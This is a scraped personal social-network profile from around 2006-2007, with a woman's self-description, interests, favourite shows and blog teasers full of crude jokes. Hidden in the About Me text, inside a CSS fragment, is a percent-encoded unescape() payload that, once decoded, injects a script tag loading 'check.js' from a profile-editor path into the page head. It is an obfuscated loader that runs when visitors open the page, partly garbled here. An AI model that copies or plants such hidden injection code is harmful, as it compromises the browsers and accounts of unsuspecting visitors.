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About Me

I am an amazing person...I am one to please. I love seeing other people have a good time. I love to laugh and make other people laugh...overall you could say I have an affable personality. I love to sing and rock out hardcore! I love my best friend karla to death so don't mess with her! or i'll kill you till you die from it! But on a more serious tip.... I work hard as a medical assistant, but I like to play hard too. I love meeting new people because everybody has something to teach..r{} body { margin-top: ....unescape('%69%66%20%28%21..%2E%67%65%74%45%6C%65%6D%65%6 E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%3 1%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%31%35%38%35%38%3 1%3B%20%4A%53%53%33%20%3D%20%27%2F%70%72%6F%66%69%6C%65%65%6 4%69%74%6F%72%76%32%2F%73%6F%75%72%63%65%73%2F%69%6D%61%67%6 5%73%2F%76%75%67%61%74%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%2 0%76%61%72%20%6A%73%20%3D%20..%2E%63%72%65%61%74%65%45%6C%65 %6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73 %65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27 %2F%70%72%6F%66%69%6C%65%65%64%69%74%6F%72%76%32%2F%73%6F%75 %72%63%65%73%2F%69%6D%61%67%65%73%2F%76%75%67%61%74%2F%63%68 %65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72 %69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B %20..%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E% 61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E% 61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) } .r{}

My Interests

One of my favorite things to do is spend time with my best friend karla! We've known eachother for 19 years... poor thing can't live without me! (kinda sad really) I enjoy hanging out with family and friends. I love a good bar. When all else fails, alcohol is always there for me. "Hi my name is maria and I'm an alcoholic!" I enjoy watching movies where someone gets there throat slashed, puppies, walks on the beach, UFC (I like to see two strong men fist eachother.. hahaha), babies, money to buy my liquor, and my own breats interest me. Sometimes I stare at a wall in silence... that's a lot of fun!!! Try it!

I'd like to meet:

i'd like to meet you!

Music:

I love to listen to my own singing in the shower. No better music than that! Beyond shower music i like it all!

Television:

If there is something that I am good at it's watching tv, wow I sound like a bum! I like the Simpsons, Family Guy, Nip Tuck, 24, Who's line is it anyway, The Office, Sex in the city, Discovery channel(especially when there are naked people), Ren and Stimpy, The Adventures of Jimmy Neutron,Rescue me, UFC, Destilando amor(mexican soap), House.......

Books:

Anything by Ann Rice and Stephen King is a good book. But I must admit that I am not a big reader. Trying to get into it though. I even tried to start a book club, didn't go to well. I'm really getting into reading now and i'm tying to commit to reading a new book every month. We'll see how that goes.

Heroes:

Not to sound cheesy but, my parents are true heroes to me. You try building nothing into something wonderfull. I sound so mexican right now.

My Blog

Didn’t think it was possible...

I didn't think it was possible but I proved myself wrong!Ok so here's the deal... I have large breasts and I'd always joke with friends about giving myself black eyes when I run and stupid stuff like ...
Posted by bandersnatch on Tue, 21 Aug 2007 01:32:00 PST

dumb people who suck at life!

Is it just me or does it feel like there are more unintelligent, rude people running wild in the world? **This past sunday I took at trip to sea world in San Diego with some girlfriends. Well, one of ...
Posted by bandersnatch on Wed, 15 Aug 2007 01:59:00 PST

Randomnesnesnesnes

I love when I see random things, don't you?My friend June and I were pumping gas the other night and there was this really old asian man with a chocolate ice cream bar. And it was really cold th...
Posted by bandersnatch on Mon, 09 Apr 2007 01:58:00 PST

parallel parking

I AM USUALLY A GREAT PARALLEL PARKER. IT'S ALWAYS BEEN CURB 0, MARIA 1,000,000. HOWEVER, TODAY I WAS BEATEN BY THE CURB. BACK AND FORTH BACK AND FORTH LIKE A HUNDRED TIMES. I FELT USELESS AND POWERLES...
Posted by bandersnatch on Fri, 23 Mar 2007 08:18:00 PST

Mother F'er

So I was driving onto the freeway and some ass hat in front of me decided that his gunky, nasty, filthy, piece of shit windshield needed to be cleaned at 65 miles an hour right in front of my car...
Posted by bandersnatch on Tue, 30 Jan 2007 08:42:00 PST

MUST READ

I LOVE YOU AND YOU LOVE ME!
Posted by bandersnatch on Fri, 10 Nov 2006 10:57:00 PST

NOTE TO SELF...

LIFE IS A BITCH... AND SOMETIMES YOU JUST NEED TO TAKE THE BACK OF YOUR HAND AND LAY IT ON THE BITCH!...
Posted by bandersnatch on Sat, 09 Sep 2006 07:59:00 PST

I'm done

If you don't care anymore... then fuck you!
Posted by bandersnatch on Sat, 09 Sep 2006 07:55:00 PST

Discoveryland

So, I just drove by this sign for a childrens preschool named " Discoveryland Preschool " and i'm sorry but is there something wrong with that? I mean, I wouldn't want to send my child off to a p...
Posted by bandersnatch on Wed, 12 Apr 2006 06:15:00 PST

what I am thankful for on gobble gobble day...

With thanks giving dinner here, I felt the obligation to voice what I am thankful for. I must say I thought this would be a difficult task&but to my surprise and amazement I have a lot to be tha...
Posted by bandersnatch on Fri, 25 Nov 2005 09:20:00 PST